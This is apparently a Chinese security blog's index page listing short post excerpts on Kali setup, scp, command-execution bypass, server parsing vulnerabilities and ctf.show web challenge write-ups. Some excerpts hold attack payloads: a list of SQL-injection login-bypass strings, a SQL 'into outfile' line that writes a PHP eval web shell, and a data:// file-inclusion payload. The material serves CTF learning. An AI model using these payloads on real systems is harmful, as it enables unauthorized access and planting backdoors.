逆向菜狗

2020年12月13日

摘要：下载文件：scp username@servername:/path/filename /var/www/local_dir # 用scp scp root@192.168.0.101:/var/www/test.txt /var/www/local_dir 上传文件： scp /path/file 阅读全文

posted @ 2020-12-13 15:40 逆向菜狗阅读(165) 评论(0) 推荐(0) 编辑

kali开启ssh

摘要：阅读全文

posted @ 2020-12-13 15:16 逆向菜狗阅读(85) 评论(0) 推荐(0) 编辑

kali安装parallels过程中需要安装linux-headers的内核

摘要：查看内核之后安装如下内容：解压安装即可。链接: https://pan.baidu.com/s/1op7bLopx1MzEC6eDpMAkCg 提取码: 9354 阅读全文

posted @ 2020-12-13 11:32 逆向菜狗阅读(334) 评论(0) 推荐(0) 编辑

2020年11月23日

kali解决postgresql

摘要：问题：sudo service postgresql start 启动后发现连不上数据库，psql 和msfconsole都提示: could not connect to database template1: could not connect to server: No such file 阅读全文

posted @ 2020-11-23 19:44 逆向菜狗阅读(1877) 评论(1) 推荐(1) 编辑

2020年11月19日

web-命令执行绕过（转载）

摘要：常见管道符 Windows系统支持的管道符 |直接执行后面的语句||如果前面命令是错的那么就执行后面的语句，否则只执行前面的语句&前面和后面命令都要执行，无论前面真假&&如果前面为假，后面的命令也不执行，如果前面为真则执行两条命令 Linux系统支持的管道符 |、||、&、&&这四种管道符都存在且用阅读全文

posted @ 2020-11-19 19:40 逆向菜狗阅读(256) 评论(0) 推荐(0) 编辑

MISC-内存取证

摘要：阅读全文

posted @ 2020-11-19 19:17 逆向菜狗阅读(334) 评论(0) 推荐(0) 编辑

2020年11月13日

Web中常见的解析漏洞

摘要：解析漏洞常见于IIS、Apache、Nginx这类的中间件对应版本存在的解析问题，存在的问题都在于中间件。一、IIS5.X-6.X解析漏洞 1、目录解析在IIS 6.0版本中有个目录解析漏洞，该漏洞的问题存在于如果你在网站目录中创建一个*./asp、.asa的文件夹，那么你上传的任何文件比如一个阅读全文

posted @ 2020-11-13 14:54 逆向菜狗阅读(501) 评论(0) 推荐(0) 编辑

2020年11月11日

ctf.show_web6

摘要：常见万能密码： "or "a"="a'.).or.('.a.'='.aor 1=1--'or 1=1--a'or' 1=1--"or 1=1--'or.'a.'='a"or"="a'='a'or''=''or'='or'admin'or 1=1#'='&password='='admin' or 阅读全文

posted @ 2020-11-11 19:38 逆向菜狗阅读(815) 评论(0) 推荐(0) 编辑

文件包含等内容

摘要： select "<?php @eval($_POST['#@!']);?>" into outfile "/tmp/muma.php"page=/tmp/muma.phpdata://text/plain,%3C?php%20$a_code%20=%20file_get_contents(%27fl 阅读全文

posted @ 2020-11-11 19:00 逆向菜狗阅读(215) 评论(0) 推荐(0) 编辑

ctf.show_web5-MD5弱匹配

摘要：题目要求v1是字符串、v2是数字并且他们的md5值相同显示flag，因此： v1和v2的MD5值为0e即可，因此可以是： v1=QNKCDZO&v2=240610708 这里附上常见的0E开头的MD5 0e开头的md5和原值： QNKCDZO 0e83040045199349405802421990 阅读全文

posted @ 2020-11-11 18:59 逆向菜狗阅读(535) 评论(0) 推荐(0) 编辑

公告